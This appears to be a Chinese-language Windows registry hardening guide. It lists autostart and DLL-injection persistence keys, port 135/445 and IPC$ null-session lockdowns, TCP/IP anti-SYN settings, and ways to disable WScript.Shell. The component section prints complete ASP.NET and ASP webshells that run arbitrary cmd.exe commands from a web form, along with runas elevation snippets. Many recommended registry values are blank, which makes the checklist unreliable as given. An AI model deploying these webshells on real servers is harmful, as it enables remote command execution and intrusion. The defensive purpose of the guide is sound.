Windows Registry Security Check
1. Windows注册表简介
注册表(Registry,繁体中文版Windows称之为登录档)是Microsoft Windows中的一个重要的数据库,用于存储系统和应用程序的设置信息。早在Windows 3.0推出OLE技术的时候,注册表就已经出现。随后推出的Windows NT是第一个从系统级别广泛使用注册表的操作系统。但是,从Microsoft Windows 95开始,注册表才真正成为Windows用户经常接触的内容,并在其后的操作系统中继续沿用至今
0x1: 注册表的由来
在Windows 3.x操作系统中,注册表是一个极小文件,其文件名为Reg.dat,里面只存放了某些文件类型的应用程序关联,大部分的设置放在Win.ini、System.ini等多个初始化INI文件中。由于这些初始化文件不便于管理和维护,时常出现一些因INI文件遭到破坏而导致系统无法启动的问题。为了使系统运行得更为稳定、健壮,Windows 95/98设计师们借用了Windows NT中的注册表的思想,将注册表引入到Windows 95/98操作系统中,而且将INI文件中的大部分设置也移植到注册表中,因此,注册表在Windows 95/98操作系统的启动、运行过程中起着重要的作用
0x2: 注册表的作用
注册表是windows操作系统中的一个核心数据库,其中存放着各种参数,直接控制着windows的启动、硬件驱动程序的装载以及一些windows应用程序的运行,从而在整个系统中起着核心作用。这些包括了
. 软、硬件的相关配置和状态信息
. 应用程序和资源管理器外壳的初始条件、首选项和卸载数据
. 联网计算机的整个系统的设置和各种许可
. 文件扩展名与应用程序的关联
. 硬件部件的描述、状态和属性
. 性能记录
. 其他底层的系统状态信息
. 其他数据等
具体来说,在启动Windows时,Registry会对照已有硬件配置数据,检测新的硬件信息
. 系统内核从Resistry中选取信息,包括要装入什么设备驱动程序,以及依什么次序装入,内核传送回它自身的信息,例如版权号等
. 同时设备驱动程序也向Registry传送数据,并从Registry接收装入和配置参数
. 设备驱动程序会告诉Resistry它在使用什么系统资源,例如硬件中断或DMA通道等
. 设备驱动程序还要报告所发现的配置数据
. 为应用程序或硬件的运行提供增加新的配置数据的服务
. 配合INI文件兼容16位Windows应用程序,当安装—个基于Windows .x的应用程序时,应用程序的安装程序Setup像在windows中—样创建它自己的INI文件或在Win.ini和System.ini文件中创建入口
. 同时windows还提供了大量其他接口,允许用户修改系统配置数据,例如控制面板、设置程序等
如果注册表受到了破坏,轻则使windows的启动过程出现异常,重则可能会导致整个windows系统的完全瘫痪。因此正确地认识、使用,特别是及时备份以及有问题恢复注册表对windows用户来说就显得非常重要
0x3: 注册表的数据结构
注册表由键(或称"项")、子键(子项)和值项构成。一个键就是分支中的一个文件夹,而子键就是这个文件夹中的子文件夹,子键同样是一个键。一个值项则是一个键的当前定义,由以下几个部分组成
. 名称
. 数据类型
. 分配的值
一个键可以有一个或多个值,每个值的名称各不相同,如果一个值的名称为空,则该值为该键的默认值
在注册表编辑器(Regedit.exe)中,数据结构显示如下,其中,command键是open键的子键,(默认)表示该值是默认值,值名称为空,其数据类型为REG_SZ,数据值为:
%systemroot%/system32/NOTEPAD.EXE "%1
注册表的数据类型主要有以下四种
. REG_SZ: 字符串: 文本字符串
. REG_MULTI_SZ: 多字符串: 含有多个文本值的字符串
. REG_BINARY: 二进制数: 二进制值,以十六进制显示
. REG_DWORD: 双字: 一个32位的二进制值,显示为8位的十六进制值
Relevant Link:
http://baike.baidu.com/view/979.htm
2. Windows自启动项相关注册表监控项
0x1:自启动文件目录
入侵服务器后,通过部署自启动项是黑客常用的刘后门手段,总体来说,Windows上部署自启动后门的方式有如下
. 当前用户专有的启动文件夹
这是许多应用软件自动启动的常用位置,Windows自动启动放入该文件夹的所有快捷方式。用户启动文件夹一般在: \Documents and Settings\<用户名字>\「开始」菜单\程序\启动,其中"<用户名字>"是当前登录的用户帐户名称
. 对所有用户有效的启动文件夹
这是寻找自动启动程序的第二个重要位置,不管用户用什么身份登录系统,放入该文件夹的快捷方式总是自动启动——这是它与用户专有的启动文件夹的区别所在。该文件夹一般在: \Documents and Settings\All Users\「开始」菜单\程序\启动
. C:\Windows\win.ini
检查"run="、"load="等选项后面是否包含一些来历不明的内容,正常情况下这个文件夹里不应该有load、run项
0x2:系统提供的自启动注册表配置项
. Load注册键: 它也能够自动启动程序
HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows\load
. Userinit注册键: 这里也能够使系统启动时自动初始化程序。通常该注册键下面有一个userinit.exe,如图一,但这个键允许指定用逗号分隔的多个程序,例如"userinit.exe,OSA.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Userinit . Explorer\Run注册键: 和load、Userinit不同,Explorer\Run键在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
. RunServicesOnce注册键: RunServicesOnce注册键用来启动服务程序,启动时间在用户登录之前,而且先于其他通过注册键启动的程序。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
. RunServices注册键: RunServices注册键指定的程序紧接RunServicesOnce指定的程序之后运行,但两者都在用户登录之前
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
. RunOnce\Setup注册键: RunOnce\Setup指定了用户登录之后运行的程序
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Setup
. RunOnce注册键: 安装程序通常用RunOnce键自动运行程序
# HKEY_LOCAL_MACHINE下面的RunOnce键会在用户登录之后立即运行程序,运行时机在其他Run键指定的程序之前
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
# HKEY_CURRENT_USER下面的RunOnce键在操作系统处理其他Run键以及"启动"文件夹的内容之后运行
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
# 如果是XP,还需要检查一下
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
. Run注册键: Run是自动运行程序最常用的注册键
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
# HKEY_CURRENT_USER下面的Run键紧接HKEY_LOCAL_MACHINE下面的Run键运行,但两者都在处理"启动"文件夹之前 . Windows Shell Context Menu option
HKLM\Software\Classes\*\shell\yourappname
HKLM\Software\Classes\*\shell\yourappname\command
HKLM\Software\Classes\Folder\shell\yourappname
HKLM\Software\Classes\Folder\shell\yourappname\command
HKLM\Software\Classes\Directory\shell\yourappname
HKLM\Software\Classes\Directory\shell\yourappname\command
HKLM\Software\Classes\Drive\shell\yourappname
HKLM\Software\Classes\Drive\shell\yourappname\command . EnableLUA
\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ . Logon or Logoff scripts
HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logon
HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff
HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Logon
HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Logoff
HKLM\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Startup
HKLM\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Shutdown . command processor’s AutoRun setting
\HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\
\HKEY_USERS\*\Software\Microsoft\Command Processor\* . AutoStart Explorer Keys (自动启动资源管理器项
\HKEY_LOCAL_MACHINE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\
\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WOW\Control\Session Manager\Environment\
\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad . AutoStart System Injection Keys (自动启动系统注入项)
\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs\*
\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Winsock2\Parameters\Protocol_Catalog9\Catalog_Entries\*
\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\*
\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\*
\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\*
\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks\*
Relevant Link:
https://help.symantec.com/cs/SESCSP_HELP/SESCSP/v99799033_v121007334/%E7%B3%BB%E7%BB%9F%E6%B3%A8%E5%86%8C%E8%A1%A8%E7%9B%91%E8%A7%86--%E8%87%AA%E5%8A%A8%E5%90%AF%E5%8A%A8%E9%A1%B9%7CSymantec%E2%84%A2-Critical-System-Protection?locale=ZH_CN
0x3:系统提供的dll加载注册表配置
除了上述直接指定命令行的自启动项,我们再来看一些可以指定dll路径并由系统执行的自启动项,这允许黑客将后门恶意逻辑封装在一个dll中,并在系统启动时随之执行
1. AppInit_DLL
恶意代码编写者可以通过一个名为Appinit_DLL的特殊注册表项来让它们的dll获得加载。AppInit_DLL中的DLL程序会在进程加载User32.dll时被加载。插入DLL路径到注册表AppInit_DLL,会让DLL程序获得加载的机会
# 由空格分隔的字符串dll路径
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs # 为1表示开启appinit_dll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs
很多进程都会加载User32.dll,这些进程也会加载AppInit_DLL。恶意代码编写者通常需要在攻击payload里加上判断当前进程的逻辑,只对指定目标发起攻击,本质上说,这和linux ld_preload是类似的。User32.dll被加载到进程时,会获取AppInit_DLLs注册表项,若有值,则调用LoadLibrary() API加载用户DLL
注册表项修改完毕后,重启系统,使修改生效
运行cmd.exe时因为加载了user32.dll,所以也同时加载了我们插入的dll
2. Winlogon Notify
恶意代码编写者可以挂钩一个特殊的Winlogon事件,如Lock,Logoff,Logon,Shutdown,StartScreenSaver,StartShell,Startup,StopScreenSaver,Unlock等。这甚至可以允许恶意代码在安全模式下加载
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\*
当WinLogon.exe产生一个事件通知的时候,Windows会检查注册表里面指定的DLL并调用DLL指定的导出函数
Relevant Link:
http://blog.csdn.net/swanabin/article/details/50925645
http://blog.csdn.net/u013565525/article/details/28416279
3. 恶意篡改病毒相关注册表监控项
0x1: IE起始页的修改
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main //右半部分窗口中的Start Page就是IE主页地址了
0x2: 磁盘驱动器被隐藏
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer //"NoDrives"键值被改为1了,改为0就可恢复正常显示
Relevant Link:
http://bbs.csdn.net/topics/487355/
http://blog.sina.com.cn/s/blog_4c9df5350100082h.html
http://baike.baidu.com/view/979.htm
http://www.jb51.net/os/19806.html
4. 网络安全配置相关注册表监控项
0x1:非常用端口开放检测
1. 135端口
135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代码,使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输
"冲击波"病毒,该病毒就是利用RPC漏洞来攻击计算机的。RPC本身在处理通过TCP/IP的消息交换部分有一个漏洞,该漏洞是由于错误地处理格式不正确的消息造成的。该漏洞会影响到RPC与DCOM之间的一个接口,该接口侦听的端口就是135,为了避免"冲击波"病毒以及其他RPC漏洞的攻击,建议关闭该端口
. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\EnableDCOM: 值改为"N"
. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\DCOM Protocols: 键值中删除"ncacn_ip_tcp"
此外,还需要确认停用"Distributed Transaction Coordinator"服务,需要重启所做的更改才会生效
2. 445端口
445端口是一个毁誉参半的端口,他和139端口一起是IPC$入侵的主要通道。有了它我们可以在局域网中轻松访问各种共享文件夹或共享打印机,但也正是因为有了它,黑客们才有了可乘之机,攻击者能通过该端口共享受害者的硬盘,甚至会在悄无声息中将硬盘格式化掉
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\SMBDeviceEnabled(DWORD值): 并设置数值为0
Relevant Link:
https://social.technet.microsoft.com/Forums/en-US/5951b3fc-1fef-497e-9d16-2e297b2a9395/rpc135?forum=window7betacn
http://bingdian.blog.51cto.com/94171/20846
http://baike.baidu.com/view/1670802.htm
0x2:IPC空连接
禁用IPC$空连接,可以防止远程用户的匿名访问
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RestrictAnonymous
//有关RestrictAnonymous的值的三种情况解释
. : 不允许枚举SAM帐户和名称(安全)
. : 没有显式匿名权限就无法访问,当基于 Windows //2008的域控制器上的RestrictAnonymous注册表值被设置为2时,下列任务受到限制
) 下级成员工作站或服务器无法建立netlogon安全通道
) 信任域中的下级域控制器无法建立netlogon安全通道
) Microsoft Windows NT用户在密码过期后无法更改密码
) 浏览器服务无法从在RestrictAnonymous注册表值设置为2的计算机上运行的备份浏览器、主浏览器或域主浏览器中检索域列表或服务器列表。因此,所有依赖浏览器服务的程序都无法正常工作。
//由于上述结果,建议您不要在包括下级客户端的混合模式环境中将 RestrictAnonymous 注册表值设置为 2。只有在 Windows 2000/2003/2008 环境下,并且只有当进行了充分的质量保证测试以证实适当的服务级别和程序功能继续保持之后,才应考虑将 RestrictAnonymous 注册表值设置为2
Relevant Link:
http://www.zgxue.com/40/405073.html
http://cs.ecust.edu.cn/snwei/studypc/oftencommand/ipc$.htm
0x3:Backlog AFD.SYS Protections
NetBT(基于TCP/IP的NetBIOS)使用139号TCP端口,一般用在微软网络中,例如文件和打印服务
.HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBt\Parameters\BacklogIncrement
//在建立连接时,如果BetBT发现可用的连接块数目小于2个,会自动的再分配可用连接块,NetBT每次增加的连接块的数目定义在注册表中的双字节值项BacklogIncrement中,该值项位于注册表项注册表项,NetBT最多可以使用的连接块的数目定义在注册表项中双字节值项MaxConnBackLog中,默认为1000个,最大值可以取到40000个。可以适当的增大此参数的值以允许更多的同时连接
) : 默认值为3
) 最小值为1
) 最大值位20。增大此值可以在有众多连接时提升性能。每个连接块消耗87个字节
//对于使用Sockets的Windows服务,如FTP,可以通过配置动态Backlog来提升在网络繁忙时的性能。使用动态Bakclog,系统会预先分配一定的资源用于建立连接,这样就省去了给连接分配资源的时间和CPU消耗。如果需要再增加资源,可以一次性的增加若干个连接所需的资源空间 . HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\EnableDynamicBacklog
) 该值项的默认值为0,表示禁止动态Backlog
) 对于网络繁忙或者易遭受SYN攻击的系统,建议设置为1,表示允许动态Backlog . HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\MinimumDynamicBacklog
) 该值项的默认值为0,表示动态Backlog分配的自由连接的最小数目。当自由连接数目低于此数目时,将自动的分配自由连接。默认值为0
) 对于网络繁忙或者易遭受SYN攻击的系统,建议设置为20 . HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\MaximumDynamicBacklog
) 该值项的默认值为0,表示定义最大"准"连接的数目。"准"连接包括自由连接和半连接
) Recommended value data: ,对于网络繁忙或者易遭受SYN攻击的系统,应该设置此值,大小取决于内存的多少。一般来说,每32M内存最大可以增加5000个 . HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\DynamicBacklogGrowthDelta
) 该值项的默认值为5,表示定义每次增加的自由连接数目
) 对于网络繁忙或者易遭受SYN攻击的系统,建议设置为10
0x4:防止主机成为反射攻击的肉鸡源的相关配置
1. Protect Against SYN Attacks
Windows针对SYN淹没攻击提供了一个叫做SYN淹没攻击保护的特性。当出现了SYN淹没攻击的征兆时,Windows自动降低对那些无法确认的连接请求的响应时间
. Enable SYN attack protection
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\SynAttackProtect(DWORD值)
) : 该值项的默认值为0,表示不允许SYN淹没攻击保护特性
) : 表示允许启用SYN淹没攻击保护特性
) : 推荐该数值,表示完全开启SYN淹没攻击 . Set SYN protection thresholds
2.1 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxPortsExhausted: Determines how many connection requests the system can refuse before TCP/IP initiates SYN flooding attack protection
) Recommended value:
2.2 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxHalfOpen: Determines how many connections the server can maintain in the half-open (SYN-RCVD) state before TCP/IP initiates SYN flooding attack protection
) Recommended value data:
2.3 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxHalfOpenRetried: Determines how many connections the server can maintain in the half-open (SYN-RCVD) state even after a connection request has been retransmitted
) Recommended value data: . Set Additional Protections
3.1 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxConnectResponseRetransmissions: Determines how many times TCP retransmits an unanswered SYN-ACK (connection request acknowledgment).
) : 该值项的默认值为3,表示定义了对于连接请求回应包的重发次数
) : 如果该值为1,则SYN淹没攻击不会有效果,但是这样会造成连接请求失败几率的升高
) : Recommended value data:
3.2 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxDataRetransmissions: Determines how many times TCP retransmits an unacknowledged data segment on an existing connection
) Recommended value data:
3.3 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\EnablePMTUDiscovery: Determines whether TCP uses a fixed, default maximum transmission unit (MTU) or attempts to detect the actual MTU(防御TCP碎片攻击)
) Recommended value data:
3.4 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\KeepAliveTime: Determines how often TCP sends keep-alive transmissions.
) Recommended value data:
2. Set NetBIOS Protections
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netbt\Parameters\NoNameReleaseOnDemand
. Recommended value data:
//Specifies to not release the NetBIOS name of a computer when it receives a name-release request.
3. Protect Against ICMP Attacks
HKLM\System\CurrentControlSet\Services\TcpIp\Parameters\EnableICMPRedirect
. Recommended value data:
. (enabled)
//Modifying this registry value to 0 prevents the creation of expensive host routes when an ICMP redirect packet is received.
4. Protect Against SNMP Attacks
HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\EnableDeadGWDetect . Recommended value data: . (enabled) //Prevents an attacker from forcing the switching to a secondary gateway
5. Additional Protections
. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DisableIPSourceRouting: Disables IP source routing, which allows a sender to determine the route a datagram should take through the network(Protect Screened Network Details)
) Recommended value data:
) (forward all packets)
) (drop all incoming source routed packets) . HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\EnableMulticastForwarding: The routing service uses this parameter to control whether or not IP multicasts are forwarded. This parameter is created by the Routing and Remote Access Service.(Do Not Forward Packets Destined for Multiple Hosts)
) Recommended value data:
) (true) . HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter: Setting this parameter to (true) causes the system to route IP packets between the networks to which it is connected.(Only Firewalls Forward Packets Between Networks)
) Recommended value data:
) (true) . HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\EnableAddrMaskReply: This parameter controls whether the computer responds to an ICMP address mask request.(Mask Network Topology Details)
) Recommended value data:
) (true)
0x5:远程操作注册表
某些服务必须能够访问注册表才能正常发挥作用。例如,在一个运行目录复制的系统上,“复制器”帐户必须能够访问相关的注册表项。注册表编辑器支持对 Windows 注册表的远程访问;但是,我们也可以限制这种访问
. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg\Description: Registry Server
Relevant Link:
https://msdn.microsoft.com/en-us/library/ff648853.aspx
https://technet.microsoft.com/en-us/library/cc957549.aspx
http://vod.sjtu.edu.cn/help/Article_Show.asp?ArticleID=2360&ArticlePage=3
0x6:删除默认共享(IPC$、ADMIN$、C$、D$、e$、f$、g$)
0x7:禁用IPC$建立空连接
在Windows 2000/XP/2003系统中,逻辑分区与Windows目录默认为共享,这是为管理员管理服务器的方便而设,但却成为了安全漏洞
利用IPC$,连接者可以与目标主机建立一个空的连接,即无需用户名和密码就能连接主机,当然这样连接是没有任何操作权限的。但利用这个空的连接,连接者可以得到目标主机上的用户列表。
利用获得的用户列表,就可以猜密码,或者穷举密码,从而获得更高,甚至管理员权限
1. IPC$(Internet Process Connection)
是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用
只要通过IPC$,获得足够的权限(即猜解到帐号、密码),就可以在主机上运行程序、创建用户、把主机上C、D、E等逻辑分区共享给入侵者,主机上的所有资料
要防止别人用ipc$和默认共享入侵,需要禁止ipc$空连接,避免入侵者取得用户列表,并取消默认共享
1. 禁止ipc$空连接进行枚举
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA\RestrictAnonymous = DWORD的键值改为:00000001
1) 0x0(缺省)
2) 0x1: 匿名用户无法列举本机用户列表
3) 0x2: 匿名用户无法连接本机IPC$共享
//不建议使用2,否则可能会造成一些服务无法启动,如SQL Server 2. 关闭139与445端口
ipc$连接是需要139或445端口来支持的,139端口的开启表示netbios协议的应用,通过139、445(win2000)端口实现对共享文件/打印机的访问,因此关闭139与445端口可以禁止ipc$连接
1) 关闭139端口可以通过禁用 netbios 协议来实现: 控制面板->网络和拨号连接->本地连接,点属性按钮进入"本地连接 属性"页面,选择"Internet 协议 (TCP/IP)",然后点属性按钮,在弹出窗口点高级按钮,然后选择WINS标签,点"禁用 TCP/IP 上的 NetBios",最后确定退出
2) 445端口关闭方法: 运行regedit,找到项[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters],建立名称为SMBDeviceEnabled,DWORD类型的键,值为00000000
0x8:禁止系统自动启动服务器共享(禁用IPC连接)
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters\AutoShareServer
Type:DWORD
Value: 0(关闭)
Relevant Link:
http://blog.vpsks.com/140.html
http://www.splaybow.com/post/windows-445port.html
http://baike.baidu.com/view/1296452.htm
5. windows组件安全配置相关注册表监控项
windows、.NET、危险指令是部署WEBSHELL之后,进行横向渗透提权的常用手段
0x1:W.Shell/WScript.Shell组件(wshom.ocx Windows Script Host Runtime Library)
wshom.ocx是Windows本地脚本对象运行时相关文件,用来提供WshShell对象和WshNetwork对象接口的访问
The WshShell object is a COM object
Category |
Method or Property |
---|---|
Running Programs |
Run, Exec |
Working with Special Folders |
SpecialFolders |
Working with Shortcuts |
CreateShortcut |
Working with Environment Variables |
Environment, ExpandEnvironmentStrings |
Working with the Event Log |
LogEvent |
Working with the Registry |
RegRead, RegWrite, RegDelete |
Sending Keystrokes to an Application |
AppActivate, SendKeys |
Obtaining a Scripts Current Directory |
CurrentDirectory |
Creating Timed Dialog Boxes |
Popup |
/*
test.vbs
*/
//WshShell refers to the Shell object exposed via the Automation interface of WScript. Therefore, you must use CreateObject to return this object
Set WshShell = Wscript.CreateObject("Wscript.Shell")
Set oShellLink = WshShell.CreateShortcut("Current Script.lnk")
oShellLink.TargetPath = Wscript.ScriptFullName
oShellLink.Save Set oUrlLink = WshShell.CreateShortcut("Microsoft Web Site.URL")
oUrlLink.TargetPath = "http://www.baidu.com"
oUrlLink.Save
W.Shell组件常常被黑客用来执行vbs脚本,黑客通过WEBSEHLL或者其他上传漏洞上传vbs提权脚本并执行,除此之外,黑客上传ASP、ASP.NET WEBSHELL(其中包含了W.Shell的调用)
ASP.NET有自身的执行CMD指令的方式,但是如果目标机器禁用了.NET的指令执行,这个时候就可以使用WScript.Shell,因为只要是ASP中能用的组件,都可以直接向下兼容地用于ASP.NET中
ASP.NET提供了2种方式让我们使用COM组件
1. Server对象的CreatObject方法
<%@ Page Language="VB" validateRequest = "false" aspcompat = "true" %>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
Dim StrResult As String
Dim CMDShell As Object
CMDShell = Server.CreateObject("WScript.Shell")
StrResult = CMDShell.exec( CMDPath.Text & " /c " & CMDBox.Text ).stdout.readall
StrResult = Replace(StrResult , "<","<")
StrResult = Replace(StrResult , ">",">")
ResultLabel.Text = "<pre>" & StrResult & "</pre>"
end sub
</script> <html>
<head><title>WSH.SHell For ASP.NET</title></head>
<body>
<form runat="server">
"cmd.exe" path: <asp:TextBox ID="CMDPath" Width="" Text="cmd.exe" runat="server" />
<br>
Your Command: <asp:TextBox ID="CMDBox" Width="" runat="server" />
<asp:Button ID="Button" Text="Run" OnClick="runcmd" runat="server" />
<br>
<asp:Label ID="ResultLabel" runat="server" />
</form>
<div align="center">----------- <font color="#0000FF">Enjoy Hacking!</font> -----------</div>
<hr width="50%">
</body>
</html>
2. 将COM组件转化为.NET组件
微软提供了类型库导入器(Type Library Importer),经过它的转换,我们就可以使用COM组件了,转化之后,会产生一个dll文件,需要放到web木龙骨的bin目录下才可以被使用,这个dll不需要注册就可以直接使用(这也是ASP.NET和ASP的区别之一)
1) Tlbimp.exe WSHom.Ocx /out: WSHomx.dll
2) 然后把WSHomx.dll放到web目录的bin下面
<%@ Page Language="VB" validateRequest="false"%>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
Dim StrResult As String
Dim CMDShell As New WSHomx.WshShell
CMDShell = Server.CreateObject("WScript.Shell")
StrResult = CMDShell.exec( CMDPath.Text & " /c " & CMDBox.Text ).stdout.readall
StrResult = Replace(StrResult , "<","<")
StrResult = Replace(StrResult , ">",">")
ResultLabel.Text = "<pre>" & StrResult & "</pre>"
end sub
</script> <html>
<head><title>WSH.SHell For ASP.NET</title></head>
<body>
<form runat="server">
"cmd.exe" path: <asp:TextBox ID="CMDPath" Width="" Text="cmd.exe" runat="server" />
<br>
Your Command: <asp:TextBox ID="CMDBox" Width="" runat="server" />
<asp:Button ID="Button" Text="Run" OnClick="runcmd" runat="server" />
<br>
<asp:Label ID="ResultLabel" runat="server" />
</form>
<div align="center">----------- <font color="#0000FF">Enjoy Hacking!</font> -----------</div>
<hr width="50%">
</body>
</html>
W.Shell/WScript.Shell组件所在注册表的位置为
. HKEY_CLASSES_ROOT\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}: 删除
. HKEY_CLASSES_ROOT\WScript.Shell: 改名为 HKEY_CLASSES_ROOT\WScript.Shell_bak
. HKEY_CLASSES_ROOT\WScript.Shell.: 改名为 HKEY_CLASSES_ROOT\WScript.Shell.1_bak
. HKEY_CLASSES_ROOT\WScript.Shell\CLSID\项目的值: 项目的值改为其他值(删除效果也是一样的)
. HKEY_CLASSES_ROOT\WScript.Shell.\CLSID\项目的值: 项目的值改为其他值(删除效果也是一样的) /*
regsvr32/u C:\WINDOWS\System32\wshom.ocx
del C:\WINDOWS\System32\wshom.ocx
*/
Relevant Link:
http://www.mydiannao.com/article/show.asp?id=3902
http://www.processlibrary.com/en/directory/files/wshom/22473/
http://baike.baidu.com/view/702418.htm
http://www.informit.com/articles/article.aspx?p=1187429&seqNum=5
https://technet.microsoft.com/en-us/library/ee156590.aspx
http://www.devguru.com/technologies/wsh/17408
http://codex.wiki/post/183860-445
0x2:Shell.application组件
wscript.shell、shell.application这两个组件都是来执行程序的,但是正常的业务场景中很少会用到
1. Run a batch script with elevated permissions, flag=runas:
Set objShell = CreateObject("Shell.Application")
objShell.ShellExecute "E:\demo\batchScript.cmd", "", "", "runas",
2. Run a VBScript with elevated permissions, flag=runas:
Set objShell = CreateObject("Shell.Application")
objShell.ShellExecute "cscript", "E:\demo\vbscript.vbs", "", "runas",
3. ASP
<%
On Error Resume Next
Dim theFile, thePath, appPath, appName, appArgs
appPath = Trim(Request("appPath"))
appName = Trim(Request("appName"))
appArgs = Trim(Request("appArgs")) If appName = "" Then
appName = "cmd.exe"
End If If appPath <> "" And Right(appPath, ) <> "\" Then
appPath = appPath & "\"
End If If LCase(appName) = "cmd.exe" And appArgs <> "" Then
If LCase(Left(appArgs, )) <> "/c" Then
appArgs = "/c " & appArgs
End If
Else
If LCase(appName) = "cmd.exe" And appArgs = "" Then
appArgs = "/c "
End If
End If Set objShellApp = CreateObject("Shell.Application")
objShellApp.ShellExecute appName, appArgs, appPath, "",
%> <form method=post onSubmit='this.Submit.disabled=true'>
所在路径: <input name=appPath type=text id=appPath value=""" & HtmlEncode(appPath) & """ size=><br/>
程序文件: <input name=appName type=text id=appName value=""" & HtmlEncode(appName) & """ size=><br/>
命令参数: <input name=appArgs type=text id=appArgs value=""" & HtmlEncode(appArgs) & """ size=>
<input type=submit name=Submit value=' 运行 '><br/>
<hr/>注: 只有命令行程序在CMD.EXE运行环境下才可以进行临时文件回显(利用"">""符号),其它程序只能执行不能回显.<br/> 程序文件默认为cmd.exe,请自定义路径,参数处直接写命令.<hr/>
</form>
